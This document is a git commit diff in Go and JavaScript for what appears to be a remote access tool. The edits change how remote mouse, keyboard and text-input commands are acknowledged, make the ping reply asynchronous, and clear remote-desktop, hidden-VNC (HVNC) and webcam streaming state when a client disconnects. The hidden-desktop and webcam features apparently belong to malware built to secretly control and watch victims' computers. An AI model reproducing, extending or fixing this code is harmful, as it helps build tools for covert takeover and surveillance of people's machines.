fix issue with remote desktop inputs and move ping to async to prevent any issues with clients disconnecting from it.

This commit is contained in:
KingKDot
2026-04-06 18:04:45 -05:00
parent 9f876b5828
commit feb1c66526
4 changed files with 28 additions and 16 deletions
+16 -12
View File
@@ -354,6 +354,10 @@ func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message stri
}
}
func sendCommandResultAsync(env *runtime.Env, cmdID string) {
go sendCommandResultSafe(env, cmdID, true, "")
}
func payloadNumberToInt64(value interface{}) int64 {
switch v := value.(type) {
case int:
@@ -754,7 +758,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
case "desktop_mouse_move":
if !env.MouseControl {
sendCommandResultSafe(env, cmdID, true, "")
sendCommandResultAsync(env, cmdID)
return nil
}
payload := payloadAsMap(envelope["payload"])
@@ -762,11 +766,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
y, _ := payloadInt32(payload, "y")
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
setCursorPos(absX, absY)
sendCommandResultSafe(env, cmdID, true, "")
sendCommandResultAsync(env, cmdID)
return nil
case "desktop_mouse_down":
if !env.MouseControl {
sendCommandResultSafe(env, cmdID, true, "")
sendCommandResultAsync(env, cmdID)
return nil
}
payload := payloadAsMap(envelope["payload"])
@@ -778,11 +782,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
}
sendMouseDown(btn)
sendCommandResultSafe(env, cmdID, true, "")
sendCommandResultAsync(env, cmdID)
return nil
case "desktop_mouse_up":
if !env.MouseControl {
sendCommandResultSafe(env, cmdID, true, "")
sendCommandResultAsync(env, cmdID)
return nil
}
payload := payloadAsMap(envelope["payload"])
@@ -794,11 +798,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
}
sendMouseUp(btn)
sendCommandResultSafe(env, cmdID, true, "")
sendCommandResultAsync(env, cmdID)
return nil
case "desktop_key_down":
if !env.KeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
sendCommandResultAsync(env, cmdID)
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
@@ -812,11 +816,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
log.Printf("desktop: key down code=%s vk=%d", code, vk)
sendKeyDown(vk)
}
sendCommandResultSafe(env, cmdID, true, "")
sendCommandResultAsync(env, cmdID)
return nil
case "desktop_key_up":
if !env.KeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
sendCommandResultAsync(env, cmdID)
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
@@ -830,11 +834,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
log.Printf("desktop: key up code=%s vk=%d", code, vk)
sendKeyUp(vk)
}
sendCommandResultSafe(env, cmdID, true, "")
sendCommandResultAsync(env, cmdID)
return nil
case "desktop_text":
if !env.KeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
sendCommandResultAsync(env, cmdID)
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
@@ -848,7 +852,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
log.Printf("desktop: text input len=%d", len(text))
sendTextInput(text)
}
sendCommandResultSafe(env, cmdID, true, "")
sendCommandResultAsync(env, cmdID)
return nil
// ==================== HVNC COMMANDS ====================
+2 -1
View File
@@ -15,10 +15,11 @@ func HandlePing(ctx context.Context, env *runtime.Env, envelope map[string]inter
ts = time.Now().UnixMilli()
}
pong := wire.Pong{Type: "pong", TS: ts}
go func() {
if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil {
log.Printf("ping: failed to send pong: %v", err)
return err
}
}()
return nil
}
@@ -296,6 +296,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
});
}
sendCmd("desktop_start", {});
pushInputToggles();
pushCaptureToggles();
if (qualitySlider) pushQuality(qualitySlider.value);
pushResolution();
} else {
setStreamState("idle", "Stopped");
}
@@ -729,6 +729,9 @@ export function handleWebSocketClose(
setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail);
deps.clearPendingNotificationScreenshots(clientId);
deps.clearClientPluginState(clientId);
deps.rdStreamingState.delete(clientId);
deps.hvncStreamingState.delete(clientId);
deps.webcamStreamingState.delete(clientId);
deps.notifyDashboard();
logger.info(`[close] ${clientId} code=${code} reason=${reason} disconnect_reason=${storedDisconnectReason || "unknown"}`);